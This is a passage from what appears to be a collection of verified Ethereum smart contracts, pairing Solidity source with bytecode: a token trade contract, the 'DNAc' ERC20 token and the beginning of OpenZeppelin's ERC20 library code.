srcToken, srcAmount, wethToken, destAmount); require(actualDestAmount >= destAmount); // transfer back only requested dest amount. destAddress.transfer(destAmount); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } event DepositToken(ERC20 token, uint amount); }
0x6060604052600436106101445763ffffffff60e060020a60003504166299d386811461019e57806301a12fd3146101c55780630d9f5faa146101e657806324a9d85314610215578063267822471461023a57806327a099d81461024d57806336b61e3c146102b35780633ccdbb28146102c6578063408ee7fe146102ef5780634b57b0be1461030e578063502b7a4a146103215780636940030f1461035b5780636cf698111461036e5780636f3d80431461039a57806375829def146103b057806377f50f97146103cf5780637acc8678146103e25780637c423f54146104015780637cd44272146104145780639870d7fe1461043f578063ac8a584a1461045e578063b78b842d1461047d578063ce56c45414610490578063d621e813146104b2578063d83678ac146104c5578063f851a440146104d8578063fa64dffa146104eb575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051600160a060020a03909216825260208201526040908101905180910390a1005b34156101a957600080fd5b6101b1610516565b604051901515815260200160405180910390f35b34156101d057600080fd5b6101e4600160a060020a03600435166105a4565b005b34156101f157600080fd5b6101f9610714565b604051600160a060020a03909116815260200160405180910390f35b341561022057600080fd5b610228610723565b60405190815260200160405180910390f35b341561024557600080fd5b6101f9610729565b341561025857600080fd5b610260610738565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561029f578082015183820152602001610287565b505050509050019250505060405180910390f35b34156102be57600080fd5b6101f96107a0565b34156102d157600080fd5b6101e4600160a060020a0360043581169060243590604435166107af565b34156102fa57600080fd5b6101e4600160a060020a03600435166108a6565b341561031957600080fd5b6101f96109a2565b341561032c57600080fd5b6101e4600160a060020a036004358116906024358116906044358116906064358116906084351660a4356109b1565b341561036657600080fd5b6101b1610b22565b6101b1600160a060020a03600435811690602435906044358116906064351660843560a4351515610ba3565b34156103a557600080fd5b610228600435610c10565b34156103bb57600080fd5b6101e4600160a060020a0360043516610c3d565b34156103da57600080fd5b6101e4610cd8565b34156103ed57600080fd5b6101e4600160a060020a0360043516610d72565b341561040c57600080fd5b610260610e54565b341561041f57600080fd5b610228600160a060020a0360043581169060243516604435606435610eba565b341561044a57600080fd5b6101e4600160a060020a0360043516611093565b341561046957600080fd5b6101e4600160a060020a0360043516611163565b341561048857600080fd5b6101f96112cf565b341561049b57600080fd5b6101e4600435600160a060020a03602435166112de565b34156104bd57600080fd5b6101b1611371565b34156104d057600080fd5b6101f9611392565b34156104e357600080fd5b6101f96113a1565b34156104f657600080fd5b610228600160a060020a03600435811690602435166044356064356113b0565b6000805433600160a060020a0390811691161461053257600080fd5b600b805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a039081169116146105c057600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105e757600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156107105781600160a060020a031660058281548110151561062c57fe5b600091825260209091200154600160a060020a031614156107085760058054600019810190811061065957fe5b60009182526020909120015460058054600160a060020a03909216918390811061067f57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106bb906000198301611a8b565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610710565b600101610609565b5050565b600854600160a060020a031681565b600c5481565b600154600160a060020a031681565b610740611ab4565b600480548060200260200160405190810160405280929190818152602001828054801561079657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610778575b5050505050905090565b600954600160a060020a031681565b60005433600160a060020a039081169116146107ca57600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561082757600080fd5b6102c65a03f1151561083857600080fd5b50505060405180519050151561084d57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a039081169116146108c157600080fd5b600160a060020a03811660009081526003602052604090205460ff16156108e757600080fd5b600554603290106108f757600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109768382611a8b565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b60005433600160a060020a039081169116146109cc57600080fd5b600160a060020a03861615156109e157600080fd5b600160a060020a03851615156109f657600080fd5b600160a060020a0384161515610a0b57600080fd5b600160a060020a0383161515610a2057600080fd5b600160a060020a0382161515610a3557600080fd5b6127108110610a4357600080fd5b60078054600160a060020a0319908116600160a060020a03898116919091179283905560088054831689831617908190556009805484168984161790819055600a805485168985161790819055600b80549095168885161794859055600c8790557f0554b78483cebc94413660c1280b49fd7375a97f5dfeb070ea0ce53381e13ae2958416949284169391821692908216911686604051600160a060020a03968716815294861660208601529285166040808601919091529185166060850152909316608083015260a082015260c001905180910390a1505050505050565b600160a060020a03331660009081526003602052604081205460ff161515610b4957600080fd5b600b805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600b5460009074010000000000000000000000000000000000000000900460ff161515610bcf57600080fd5b60075433600160a060020a03908116911614610bea57600080fd5b610bf88787878787876113e2565b1515610c0357600080fd5b5060019695505050505050565b60006b204fce5e3e25026110000000821115610c2b57600080fd5b600c5461271090810383020492915050565b60005433600160a060020a03908116911614610c5857600080fd5b600160a060020a0381161515610c6d57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610cf357600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610d8d57600080fd5b600160a060020a0381161515610da257600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610e5c611ab4565b600580548060200260200160405190810160405280929190818152602001828054801561079657602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610778575050505050905090565b600080600080600080600080600b60149054906101000a900460ff161515610ee55760009750611084565b600b54600160a060020a038d8116911614801590610f115750600b54600160a060020a038c8116911614155b15610f1f5760009750611084565b50600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee148015610f6757600a54600160a060020a031694508a9350610f608a610c10565b9250610fae565b600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610fa557600a548c9550600160a060020a03169350899250610fae565b60009750611084565b600954600160a060020a031663144a275285878660006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561101a57600080fd5b6102c65a03f1151561102b57600080fd5b5050506040518051965050801561104457859150611050565b61104d86610c10565b91505b6b204fce5e3e25026110000000821061106857600080fd5b89670de0b6b3a7640000830281151561107d57fe5b0496508697505b50505050505050949350505050565b60005433600160a060020a039081169116146110ae57600080fd5b600160a060020a03811660009081526002602052604090205460ff16156110d457600080fd5b600454603290106110e457600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109768382611a8b565b6000805433600160a060020a0390811691161461117f57600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156111a657600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156107105781600160a060020a03166004828154811015156111eb57fe5b600091825260209091200154600160a060020a031614156112c75760048054600019810190811061121857fe5b60009182526020909120015460048054600160a060020a03909216918390811061123e57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061127a9082611a8b565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610710565b6001016111c8565b600754600160a060020a031681565b60005433600160a060020a039081169116146112f957600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561132a57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600b5474010000000000000000000000000000000000000000900460ff1681565b600b54600160a060020a031681565b600054600160a060020a031681565b60008060006113be8661192e565b91506113c98761192e565b90506113d7858284876119f2565b979650505050505050565b6000808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038a16148061142d575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038816145b151561143857600080fd5b600b54600160a060020a038a8116911614806114615750600b54600160a060020a038881169116145b151561146c57600080fd5b83156114c0576000851161147f57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156114b5573488146114b057600080fd5b6114c0565b34156114c057600080fd5b6114cc89888a886113b0565b9050600081116114db57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561163357600854600954600a54600160a060020a039283169263e50278a692349290821691168b8660006040516020015260405160e060020a63ffffffff8816028152600160a060020a03948516600482015292841660248401529216604482015260648101919091526084016020604051808303818588803b151561158157600080fd5b6125ee5a03f1151561159257600080fd5b505050506040518051925050808210156115ab57600080fd5b86600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561160857600080fd5b6102c65a03f1151561161957600080fd5b50505060405180519050151561162e57600080fd5b6118b2565b88600160a060020a03166323b872dd33308b60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561169d57600080fd5b6102c65a03f115156116ae57600080fd5b5050506040518051905015156116c357600080fd5b6008548890600160a060020a03808c169163dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561172b57600080fd5b6102c65a03f1151561173c57600080fd5b5050506040518051905010156117cd57600854600160a060020a03808b169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156117b157600080fd5b6102c65a03f115156117c257600080fd5b505050604051805150505b600854600954600a54600160a060020a03928316926303e1b3c6928116918d918d91168660006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015260448401929092529092166064820152608481019190915260a401602060405180830381600087803b151561185857600080fd5b6102c65a03f1151561186957600080fd5b50505060405180519250508082101561188157600080fd5b600160a060020a03861681156108fc0282604051600060405180830381858888f1935050505015156118b257600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a858b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561195f57601291506119ec565b50600160a060020a0382166000908152600660205260409020548015156119e85782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156119c657600080fd5b6102c65a03f115156119d757600080fd5b5050506040518051905091506119ec565b8091505b50919050565b60006b204fce5e3e25026110000000851115611a0d57600080fd5b69d3c21bcecceda1000000821115611a2457600080fd5b838310611a575760128484031115611a3b57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611a83565b60128385031115611a6757600080fd5b828403600a0a670de0b6b3a764000002828602811515611a4f57fe5b949350505050565b815481835581811511611aaf57600083815260209020611aaf918101908301611ac6565b505050565b60206040519081016040526000815290565b6105a191905b80821115611ae05760008155600101611acc565b50905600a165627a7a7230582033e1e9235fe06b38838f01dbbc8e89e21b0c8d266a247ac4ba944548d385d7640029
[ 5 ]
0xf36004ea5a9ee86595618cdcd9a900288b3c5977
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract DNAc is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function DNAc( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = "DNA Certification"; decimals = 18; symbol = "DNAc"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582066b242e558d20e551c8eb3b4a09f284ff39c225571dc077e5e0ba583047067a10029
[ 38 ]
0xF3606E9f699E58386Ca1AEbe14D212838B861154
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address 